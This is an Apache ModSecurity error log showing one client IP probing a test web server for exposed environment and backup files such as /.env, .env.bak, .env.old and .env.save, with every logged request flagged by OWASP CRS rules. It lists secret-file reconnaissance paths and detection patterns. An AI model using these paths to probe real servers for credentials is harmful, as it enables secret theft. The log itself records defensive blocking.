[Sun Nov 16 05:34:58.675199 2025] [:error] [pid 103444] [client 18.119.101.32:34062] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aRlUckjUGFX9l3ZphyhAoAAAAAc"]
[Sun Nov 16 05:34:58.675353 2025] [:error] [pid 103444] [client 18.119.101.32:34062] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aRlUckjUGFX9l3ZphyhAoAAAAAc"]
[Sun Nov 16 05:34:58.677102 2025] [:error] [pid 103448] [client 18.119.101.32:34046] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aRlUcgbV20V557lJgw5ylgAAAAs"]
[Sun Nov 16 05:34:58.677278 2025] [:error] [pid 103448] [client 18.119.101.32:34046] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aRlUcgbV20V557lJgw5ylgAAAAs"]
[Sun Nov 16 05:34:58.677435 2025] [:error] [pid 103448] [client 18.119.101.32:34046] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aRlUcgbV20V557lJgw5ylgAAAAs"]
[Sun Nov 16 05:34:58.719858 2025] [:error] [pid 103446] [client 18.119.101.32:34118] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aRlUck-c4YqyOTFJOSeIRwAAAAk"]
[Sun Nov 16 05:34:58.720011 2025] [:error] [pid 103446] [client 18.119.101.32:34118] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aRlUck-c4YqyOTFJOSeIRwAAAAk"]
[Sun Nov 16 05:34:58.720165 2025] [:error] [pid 103446] [client 18.119.101.32:34118] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.save"] [unique_id "aRlUck-c4YqyOTFJOSeIRwAAAAk"]
[Sun Nov 16 05:34:58.909603 2025] [:error] [pid 103447] [client 18.119.101.32:34110] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aRlUclTEmL7xLg9Yon5F4AAAAAo"]
[Sun Nov 16 05:34:58.909767 2025] [:error] [pid 103447] [client 18.119.101.32:34110] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aRlUclTEmL7xLg9Yon5F4AAAAAo"]
[Sun Nov 16 05:34:58.909964 2025] [:error] [pid 103447] [client 18.119.101.32:34110] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aRlUclTEmL7xLg9Yon5F4AAAAAo"]
[Sun Nov 16 05:34:58.910137 2025] [:error] [pid 103447] [client 18.119.101.32:34110] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aRlUclTEmL7xLg9Yon5F4AAAAAo"]
[Sun Nov 16 05:34:58.929145 2025] [authz_core:error] [pid 105706] [client 18.119.101.32:34076] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env
[Sun Nov 16 05:34:58.940351 2025] [:error] [pid 103448] [client 18.119.101.32:34160] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aRlUcgbV20V557lJgw5ylwAAAAs"]
[Sun Nov 16 05:34:58.940539 2025] [:error] [pid 103448] [client 18.119.101.32:34160] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aRlUcgbV20V557lJgw5ylwAAAAs"]
[Sun Nov 16 05:34:58.940718 2025] [:error] [pid 103448] [client 18.119.101.32:34160] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aRlUcgbV20V557lJgw5ylwAAAAs"]
[Sun Nov 16 05:34:59.640452 2025] [authz_core:error] [pid 105731] [client 18.119.101.32:34080] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.old
[Sun Nov 16 05:34:59.802852 2025] [:error] [pid 103401] [client 18.119.101.32:34152] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aRlUc75rejGDIGJeuSGFvAAAAAM"]
[Sun Nov 16 05:34:59.803012 2025] [:error] [pid 103401] [client 18.119.101.32:34152] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aRlUc75rejGDIGJeuSGFvAAAAAM"]
[Sun Nov 16 05:34:59.803221 2025] [:error] [pid 103401] [client 18.119.101.32:34152] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aRlUc75rejGDIGJeuSGFvAAAAAM"]
[Sun Nov 16 05:34:59.803445 2025] [:error] [pid 103401] [client 18.119.101.32:34152] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aRlUc75rejGDIGJeuSGFvAAAAAM"]
[Sun Nov 16 05:35:00.344249 2025] [authz_core:error] [pid 105715] [client 18.119.101.32:34170] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.bak
[Sun Nov 16 05:35:00.378595 2025] [:error] [pid 103398] [client 18.119.101.32:34236] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aRlUdLczEoTwe_Jf335FTwAAAAA"]
[Sun Nov 16 05:35:00.378809 2025] [:error] [pid 103398] [client 18.119.101.32:34236] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aRlUdLczEoTwe_Jf335FTwAAAAA"]
[Sun Nov 16 05:35:00.378998 2025] [:error] [pid 103398] [client 18.119.101.32:34236] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aRlUdLczEoTwe_Jf335FTwAAAAA"]
[Sun Nov 16 05:35:00.400759 2025] [:error] [pid 103444] [client 18.119.101.32:34210] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aRlUdEjUGFX9l3ZphyhAogAAAAc"]
[Sun Nov 16 05:35:00.400917 2025] [:error] [pid 103444] [client 18.119.101.32:34210] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aRlUdEjUGFX9l3ZphyhAogAAAAc"]
[Sun Nov 16 05:35:00.401071 2025] [:error] [pid 103444] [client 18.119.101.32:34210] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aRlUdEjUGFX9l3ZphyhAogAAAAc"]
[Sun Nov 16 05:35:00.401249 2025] [:error] [pid 103444] [client 18.119.101.32:34210] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aRlUdEjUGFX9l3ZphyhAogAAAAc"]
[Sun Nov 16 05:35:00.446673 2025] [:error] [pid 105734] [client 18.119.101.32:34136] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aRlUdNufLf1U52y2KeAwPAAAAAw"]
[Sun Nov 16 05:35:00.446854 2025] [:error] [pid 105734] [client 18.119.101.32:34136] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aRlUdNufLf1U52y2KeAwPAAAAAw"]
[Sun Nov 16 05:35:00.447120 2025] [:error] [pid 105734] [client 18.119.101.32:34136] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aRlUdNufLf1U52y2KeAwPAAAAAw"]
[Sun Nov 16 05:35:00.447315 2025] [:error] [pid 105734] [client 18.119.101.32:34136] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.bak"] [unique_id "aRlUdNufLf1U52y2KeAwPAAAAAw"]
[Sun Nov 16 05:35:00.448085 2025] [:error] [pid 105731] [client 18.119.101.32:34310] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aRlUdN_OnafWzHw2cSzD7wAAAAI"]
[Sun Nov 16 05:35:00.448307 2025] [:error] [pid 105731] [client 18.119.101.32:34310] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aRlUdN_OnafWzHw2cSzD7wAAAAI"]
[Sun Nov 16 05:35:00.448453 2025] [:error] [pid 105731] [client 18.119.101.32:34310] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aRlUdN_OnafWzHw2cSzD7wAAAAI"]
[Sun Nov 16 05:35:00.654956 2025] [:error] [pid 105703] [client 18.119.101.32:34254] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aRlUdPg2Gh-L-AjQsRfGyAAAAAU"]
[Sun Nov 16 05:35:00.655175 2025] [:error] [pid 105703] [client 18.119.101.32:34254] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aRlUdPg2Gh-L-AjQsRfGyAAAAAU"]
[Sun Nov 16 05:35:00.655334 2025] [:error] [pid 105703] [client 18.119.101.32:34254] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aRlUdPg2Gh-L-AjQsRfGyAAAAAU"]
